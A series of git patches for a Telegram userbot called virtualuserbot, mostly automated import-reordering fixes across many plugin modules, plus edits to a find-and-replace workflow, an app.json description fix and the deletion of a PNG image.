virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + @friday.on(friday_on_cmd("tr ?(.*)")) @friday.on(sudo_cmd("tr ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/trolls.py b/virtualuserbot/modules/trolls.py index 282b8864..8f910e9e 100644 --- a/virtualuserbot/modules/trolls.py +++ b/virtualuserbot/modules/trolls.py @@ -17,13 +17,14 @@ import os import requests -from virtualuserbot import * -from virtualuserbot import CMD_HELP from PIL import Image from telegraph import exceptions, upload_file from telethon.tl.functions.messages import ImportChatInviteRequest as Get from validators.url import url +from virtualuserbot import * +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/tweet.py b/virtualuserbot/modules/tweet.py index 54d6f57b..78298400 100644 --- a/virtualuserbot/modules/tweet.py +++ b/virtualuserbot/modules/tweet.py @@ -3,6 +3,9 @@ import re import requests +from PIL import Image +from validators.url import url + from virtualuserbot import CMD_HELP, bot from virtualuserbot.tweet import ( bhautweet, @@ -13,8 +16,6 @@ sunnytweet, ) from virtualuserbot.utils import admin_cmd -from PIL import Image -from validators.url import url EMOJI_PATTERN = re.compile( "[" diff --git a/virtualuserbot/modules/typing.py b/virtualuserbot/modules/typing.py index 66c146a8..a225527d 100644 --- a/virtualuserbot/modules/typing.py +++ b/virtualuserbot/modules/typing.py @@ -3,9 +3,10 @@ # (c) Shrimadhav U K import asyncio -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="type (.*)")) async def _(event): diff --git a/virtualuserbot/modules/ukinti.py b/virtualuserbot/modules/ukinti.py index 41756a72..9df3ccbb 100644 --- a/virtualuserbot/modules/ukinti.py +++ b/virtualuserbot/modules/ukinti.py @@ -6,7 +6,6 @@ import asyncio from time import sleep -from virtualuserbot import CMD_HELP from telethon.tl import functions from telethon.tl.types import ( ChannelParticipantsKicked, @@ -20,6 +19,8 @@ ) from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="unbanall ?(.*)")) async def _(event): diff --git a/virtualuserbot/modules/ultragoogle.py b/virtualuserbot/modules/ultragoogle.py index 899a7b06..0818b88a 100644 --- a/virtualuserbot/modules/ultragoogle.py +++ b/virtualuserbot/modules/ultragoogle.py @@ -10,9 +10,10 @@ import requests from bs4 import BeautifulSoup +from google_images_download import google_images_download + from virtualuserbot import CMD_HELP from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -from google_images_download import google_images_download def progress(current, total): diff --git a/virtualuserbot/modules/undlt.py b/virtualuserbot/modules/undlt.py index dcd99011..f31bcc57 100644 --- a/virtualuserbot/modules/undlt.py +++ b/virtualuserbot/modules/undlt.py @@ -1,8 +1,9 @@ import asyncio -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="undlt")) async def _(event): diff --git a/virtualuserbot/modules/updater.py b/virtualuserbot/modules/updater.py index 0436d3f7..ffe6b22d 100644 --- a/virtualuserbot/modules/updater.py +++ b/virtualuserbot/modules/updater.py @@ -12,12 +12,12 @@ import sys from os import environ, execle, path, remove -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import friday_on_cmd from git import Repo from git.exc import GitCommandError, InvalidGitRepositoryError, NoSuchPathError from var import Var +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd UPSTREAM_REPO_URL = Config.UPSTREAM_REPO UPSTREAM_REPO_BRANCH = "master" diff --git a/virtualuserbot/modules/upload_dl.py b/virtualuserbot/modules/upload_dl.py index fe5cec64..67c938c3 100644 --- a/virtualuserbot/modules/upload_dl.py +++ b/virtualuserbot/modules/upload_dl.py @@ -8,14 +8,15 @@ from datetime import datetime from urllib.parse import urlparse -from virtualuserbot import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY -from virtualuserbot.events import register -from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from hachoir.metadata import extractMetadata from hachoir.parser import createParser from pySmartDL import SmartDL from telethon.tl.types import DocumentAttributeVideo +from virtualuserbot import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY +from virtualuserbot.events import register +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + async def progress(current, total, event, start, type_of_ps, file_name=None): """Generic progress_callback for uploads and downloads.""" diff --git a/virtualuserbot/modules/uploadtoverysteam.py b/virtualuserbot/modules/uploadtoverysteam.py index 873ef96d..d274ae14 100644 --- a/virtualuserbot/modules/uploadtoverysteam.py +++ b/virtualuserbot/modules/uploadtoverysteam.py @@ -12,9 +12,10 @@ import aiohttp import magic import requests -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd, progress +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="verystream ?(.*)", allow_sudo=True)) async def _(event): diff --git a/virtualuserbot/modules/urbandictionary.py b/virtualuserbot/modules/urbandictionary.py index c1b2959a..1656b2e0 100644 --- a/virtualuserbot/modules/urbandictionary.py +++ b/virtualuserbot/modules/urbandictionary.py @@ -4,6 +4,7 @@ """Urban Dictionary Syntax: .ud Query""" import urbandict + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/urlshortner.py b/virtualuserbot/modules/urlshortner.py index 1ba26487..eb95de7e 100644 --- a/virtualuserbot/modules/urlshortner.py +++ b/virtualuserbot/modules/urlshortner.py @@ -1,4 +1,5 @@ import pyshorteners + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/userinfo.py b/virtualuserbot/modules/userinfo.py index 9ffd6352..8c0f3e93 100644 --- a/virtualuserbot/modules/userinfo.py +++ b/virtualuserbot/modules/userinfo.py @@ -9,8 +9,6 @@ from re import findall, match from typing import List, Union -from virtualuserbot import CMD_HELP -from virtualuserbot.events import register from telethon.events import NewMessage from telethon.tl.custom import Message from telethon.tl.functions.channels import GetFullChannelRequest @@ -24,6 +22,9 @@ MessageEntityMentionName, ) +from virtualuserbot import CMD_HELP +from virtualuserbot.events import register + def parse_arguments(message: str, valid: List[str]) -> (dict, str): options = {} diff --git a/virtualuserbot/modules/utube.py b/virtualuserbot/modules/utube.py index fd4af1a1..6883cd21 100644 --- a/virtualuserbot/modules/utube.py +++ b/virtualuserbot/modules/utube.py @@ -8,9 +8,10 @@ import asyncio import re -from virtualuserbot import CMD_HELP, bot from telethon.errors.rpcerrorlist import YouBlockedUserError +from virtualuserbot import CMD_HELP, bot + from ..utils import admin_cmd, edit_or_reply IF_EMOJI = re.compile( diff --git a/virtualuserbot/modules/verysteam.py b/virtualuserbot/modules/verysteam.py index 9aea37bc..f14ccd10 100644 --- a/virtualuserbot/modules/verysteam.py +++ b/virtualuserbot/modules/verysteam.py @@ -12,9 +12,10 @@ import aiohttp import magic import requests -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd, progress +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="verystream ?(.*)", allow_sudo=True)) async def _(event): diff --git a/virtualuserbot/modules/virustotal.py b/virtualuserbot/modules/virustotal.py index 0757ca47..b3c28345 100644 --- a/virtualuserbot/modules/virustotal.py +++ b/virtualuserbot/modules/virustotal.py @@ -4,10 +4,11 @@ import time import requests +from uniborg.util import friday_on_cmd + from virtualuserbot import CMD_HELP, TEMP_DOWNLOAD_DIRECTORY from virtualuserbot.Configs import Config from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -from uniborg.util import friday_on_cmd # from var import var diff --git a/virtualuserbot/modules/voice.py b/virtualuserbot/modules/voice.py index f9b22c8c..a13460fc 100644 --- a/virtualuserbot/modules/voice.py +++ b/virtualuserbot/modules/voice.py @@ -7,9 +7,10 @@ import subprocess from datetime import datetime +from gtts import gTTS + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from gtts import gTTS @friday.on(friday_on_cmd(pattern="voice (.*)")) diff --git a/virtualuserbot/modules/vsong.py b/virtualuserbot/modules/vsong.py index 11f17683..140d72ca 100644 --- a/virtualuserbot/modules/vsong.py +++ b/virtualuserbot/modules/vsong.py @@ -10,7 +10,6 @@ import os import time -from virtualuserbot.utils import progress from telethon.tl.types import DocumentAttributeAudio from uniborg.util import admin_cmd from youtube_dl import YoutubeDL @@ -25,6 +24,8 @@ XAttrMetadataError, ) +from virtualuserbot.utils import progress + try: from youtubesearchpython import SearchVideos except: diff --git a/virtualuserbot/modules/warnbun.py b/virtualuserbot/modules/warnbun.py index b8c0ec43..8df2fa45 100644 --- a/virtualuserbot/modules/warnbun.py +++ b/virtualuserbot/modules/warnbun.py @@ -1,7 +1,8 @@ """.admin Plugin for @UniBorg""" -from virtualuserbot.utils import friday_on_cmd from telethon.tl.types import ChannelParticipantsAdmins +from virtualuserbot.utils import friday_on_cmd + @friday.on(friday_on_cmd("warn1")) async def _(event): diff --git a/virtualuserbot/modules/weather.py b/virtualuserbot/modules/weather.py index 3be3bebc..cb0047f2 100644 --- a/virtualuserbot/modules/weather.py +++ b/virtualuserbot/modules/weather.py @@ -6,6 +6,7 @@ import time import aiohttp + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/webshot.py b/virtualuserbot/modules/webshot.py index cf49c875..8333a4d5 100644 --- a/virtualuserbot/modules/webshot.py +++ b/virtualuserbot/modules/webshot.py @@ -5,6 +5,7 @@ import io import requests + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/webtools.py b/virtualuserbot/modules/webtools.py index 3eca217a..ab23d69f 100644 --- a/virtualuserbot/modules/webtools.py +++ b/virtualuserbot/modules/webtools.py @@ -1,13 +1,14 @@ # @FridayoT import requests -from virtualuserbot import CMD_HELP -from virtualuserbot.function import apk_dl -from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from iplookup import iplookup from selenium import webdriver from youtube_search import YoutubeSearch +from virtualuserbot import CMD_HELP +from virtualuserbot.function import apk_dl +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + @friday.on(friday_on_cmd(pattern="wshot ?(.*)")) @friday.on(sudo_cmd(pattern="wshot ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/weebify.py b/virtualuserbot/modules/weebify.py index 2b20892a..b89f11b4 100644 --- a/virtualuserbot/modules/weebify.py +++ b/virtualuserbot/modules/weebify.py @@ -4,9 +4,10 @@ Modified by :- @kirito6969 .weeb """ -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + normiefont = [ "a", "b", diff --git a/virtualuserbot/modules/welcome.py b/virtualuserbot/modules/welcome.py index 8f73b74c..5758f473 100644 --- a/virtualuserbot/modules/welcome.py +++ b/virtualuserbot/modules/welcome.py @@ -1,3 +1,6 @@ +from telethon import events +from telethon.utils import pack_bot_file_id + from virtualuserbot import CMD_HELP from virtualuserbot.modules.sql_helper.welcome_sql import ( add_welcome_setting, @@ -5,8 +8,6 @@ rm_welcome_setting, update_previous_welcome, ) -from telethon import events -from telethon.utils import pack_bot_file_id @bot.on(events.ChatAction()) # pylint:disable=E0602 diff --git a/virtualuserbot/modules/wikimedia.py b/virtualuserbot/modules/wikimedia.py index 4f81fa68..ed251f32 100644 --- a/virtualuserbot/modules/wikimedia.py +++ b/virtualuserbot/modules/wikimedia.py @@ -1,9 +1,10 @@ """WikiMedia.ORG Syntax: .wikimedia Query""" import requests -from virtualuserbot import CMD_HELP from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="wikimedia (.*)")) @friday.on(sudo_cmd(pattern="wikimedia (.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/wikipedia.py b/virtualuserbot/modules/wikipedia.py index 9335444f..37b19bfc 100644 --- a/virtualuserbot/modules/wikipedia.py +++ b/virtualuserbot/modules/wikipedia.py @@ -4,9 +4,10 @@ """WikiPedia.ORG Syntax: .wikipedia Query""" import wikipedia -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="wikipedia (.*)")) async def _(event): diff --git a/virtualuserbot/modules/xkcd.py b/virtualuserbot/modules/xkcd.py index 43db71e8..2fdd36b4 100644 --- a/virtualuserbot/modules/xkcd.py +++ b/virtualuserbot/modules/xkcd.py @@ -3,9 +3,10 @@ from urllib.parse import quote import requests -from virtualuserbot import CMD_HELP from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="xkcd ?(.*)")) @friday.on(sudo_cmd(pattern="xkcd ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/xnxx.py b/virtualuserbot/modules/xnxx.py index 185f8e3f..e931f5ff 100644 --- a/virtualuserbot/modules/xnxx.py +++ b/virtualuserbot/modules/xnxx.py @@ -3,10 +3,11 @@ """ -from virtualuserbot import pro from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError +from virtualuserbot import pro + from ..utils import admin_cmd if pro == "True": diff --git a/virtualuserbot/modules/ytdl.py b/virtualuserbot/modules/ytdl.py index c9c7f53f..6945e69c 100644 --- a/virtualuserbot/modules/ytdl.py +++ b/virtualuserbot/modules/ytdl.py @@ -11,7 +11,6 @@ import os import time -from virtualuserbot import CMD_HELP from telethon.tl.types import DocumentAttributeAudio from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd from youtube_dl import YoutubeDL @@ -26,6 +25,8 @@ XAttrMetadataError, ) +from virtualuserbot import CMD_HELP + async def progress(current, total, event, start, type_of_ps, file_name=None): """Generic progress_callback for uploads and downloads.""" diff --git a/virtualuserbot/modules/ytmusic.py b/virtualuserbot/modules/ytmusic.py index 27c85c29..9c3cdc18 100644 --- a/virtualuserbot/modules/ytmusic.py +++ b/virtualuserbot/modules/ytmusic.py @@ -2,10 +2,11 @@ import os import wget +from youtubesearchpython import SearchVideos + from virtualuserbot import CMD_HELP from virtualuserbot.Configs import Config from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -from youtubesearchpython import SearchVideos @friday.on(friday_on_cmd(pattern="ytmusic ?(.*)")) diff --git a/virtualuserbot/utils.py b/virtualuserbot/utils.py index 721aa980..9a3dd555 100644 --- a/virtualuserbot/utils.py +++ b/virtualuserbot/utils.py @@ -4,6 +4,9 @@ import re from pathlib import Path +from telethon import events + +from var import Var from virtualuserbot import CMD_LIST, LOAD_PLUG, SUDO_LIST, bot from virtualuserbot.Configs import Config from virtualuserbot.wraptools import ( @@ -13,9 +16,6 @@ ignore_grp, ignore_pm, ) -from telethon import events - -from var import Var sedprint = logging.getLogger("PLUGINS") cmdhandler = Config.COMMAND_HAND_LER @@ -263,9 +263,10 @@ def friday_on_cmd(pattern=None, **args): import traceback from time import gmtime, strftime -from virtualuserbot import bot from telethon import events +from virtualuserbot import bot + def register(**args): """ Register a new event. """ diff --git a/virtualuserbot/wraptools/__init__.py b/virtualuserbot/wraptools/__init__.py index 93bfa18c..c15607af 100644 --- a/virtualuserbot/wraptools/__init__.py +++ b/virtualuserbot/wraptools/__init__.py @@ -15,11 +15,11 @@ import functools import re -from virtualuserbot import bot -from virtualuserbot.Configs import Config from telethon import events from var import Var +from virtualuserbot import bot +from virtualuserbot.Configs import Config def ignore_fwd(): From 6751fe49e71ddd427d3922c4f754498316226d01 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 14:32:54 +0530 Subject: [PATCH 730/838] Update sed.yml --- .github/workflows/sed.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/sed.yml b/.github/workflows/sed.yml index e89e26ed..026f06d9 100644 --- a/.github/workflows/sed.yml +++ b/.github/workflows/sed.yml @@ -8,8 +8,8 @@ jobs: - name: Find and Replace uses: jacobtomlinson/gha-find-replace@master with: - find: "fridaybot" - replace: "virtualuserbot" + find: "fridaybot " + replace: "virtualuserbot " - name: Pull All Updates uses: stefanzweifel/git-auto-commit-action@v4 with: From 3034942191307bea570deda068a50b8bb5f6e90e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 14:34:55 +0530 Subject: [PATCH 731/838] Update github.py --- virtualuserbot/modules/github.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/virtualuserbot/modules/github.py b/virtualuserbot/modules/github.py index c64ff0c6..8fd6a520 100644 --- a/virtualuserbot/modules/github.py +++ b/virtualuserbot/modules/github.py @@ -1,8 +1,8 @@ """Get information about an user on GitHub Syntax: .github USERNAME""" import requests -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @borg.on(friday_on_cmd("github (.*)")) From 12af4f3453cf951d718d5d51b490c26b19b50494 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 09:05:40 +0000 Subject: [PATCH 732/838] pylint: auto fixes --- virtualuserbot/modules/github.py | 1 + 1 file changed, 1 insertion(+) diff --git a/virtualuserbot/modules/github.py b/virtualuserbot/modules/github.py index 8fd6a520..f4eb9484 100644 --- a/virtualuserbot/modules/github.py +++ b/virtualuserbot/modules/github.py @@ -1,6 +1,7 @@ """Get information about an user on GitHub Syntax: .github USERNAME""" import requests + from virtualuserbot import CMD_HELP from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd From 9db4c87c410cd77d15fa31c1cb6a542dd5dfc760 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 14:49:28 +0530 Subject: [PATCH 733/838] Update sed.yml --- .github/workflows/sed.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/sed.yml b/.github/workflows/sed.yml index 026f06d9..8a27623e 100644 --- a/.github/workflows/sed.yml +++ b/.github/workflows/sed.yml @@ -8,8 +8,8 @@ jobs: - name: Find and Replace uses: jacobtomlinson/gha-find-replace@master with: - find: "fridaybot " - replace: "virtualuserbot " + find: "from fridaybot" + replace: "from virtualuserbot" - name: Pull All Updates uses: stefanzweifel/git-auto-commit-action@v4 with: From 2de8a0cd4e1595dd192cc44c8508946840c2d39a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 14:50:36 +0530 Subject: [PATCH 734/838] Update sed.yml --- .github/workflows/sed.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/sed.yml b/.github/workflows/sed.yml index 8a27623e..e89e26ed 100644 --- a/.github/workflows/sed.yml +++ b/.github/workflows/sed.yml @@ -8,8 +8,8 @@ jobs: - name: Find and Replace uses: jacobtomlinson/gha-find-replace@master with: - find: "from fridaybot" - replace: "from virtualuserbot" + find: "fridaybot" + replace: "virtualuserbot" - name: Pull All Updates uses: stefanzweifel/git-auto-commit-action@v4 with: From 222b28164cc104707e6a9cd851ac7b1f583c1cdc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 14:51:25 +0530 Subject: [PATCH 735/838] Update git.py --- virtualuserbot/modules/git.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/virtualuserbot/modules/git.py b/virtualuserbot/modules/git.py index 1ca2c0b1..0cbde519 100644 --- a/virtualuserbot/modules/git.py +++ b/virtualuserbot/modules/git.py @@ -1,6 +1,6 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events From 5e060654a778163d4b013591a3ae14ad41daa7ba Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 09:22:08 +0000 Subject: [PATCH 736/838] pylint: auto fixes --- virtualuserbot/modules/git.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/virtualuserbot/modules/git.py b/virtualuserbot/modules/git.py index 0cbde519..c25e5175 100644 --- a/virtualuserbot/modules/git.py +++ b/virtualuserbot/modules/git.py @@ -1,8 +1,9 @@ import asyncio -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @borg.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) async def _(event): From 23acf45142dca88b02e3eb87b642efe1e7bf2fbd Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 15:19:24 +0530 Subject: [PATCH 737/838] Update app.json --- app.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app.json b/app.json index 03ef5d9a..076d0fca 100644 --- a/app.json +++ b/app.json @@ -98,7 +98,7 @@ "value": "" }, "TG_BOT_USER_NAME_BF_HER": { - "description": "You Telegram Bot API Key Here. Needed For Help Module And Cbutton.", + "description": "You Telegram Bot Username Here. Needed For Help Module And Cbutton.", "value": "" }, "DOWNLOAD_PFP_URL_CLOCK": { From caf4557d5418d84d179f0123d75dc23cb9a2d216 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 15:22:10 +0530 Subject: [PATCH 738/838] Delete friday.png --- friday.png | Bin 122567 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 friday.png diff --git a/friday.png b/friday.png deleted file mode 100644 index d6066f87730cd37952acc2ae20d0d68c22048eff..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 122567 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 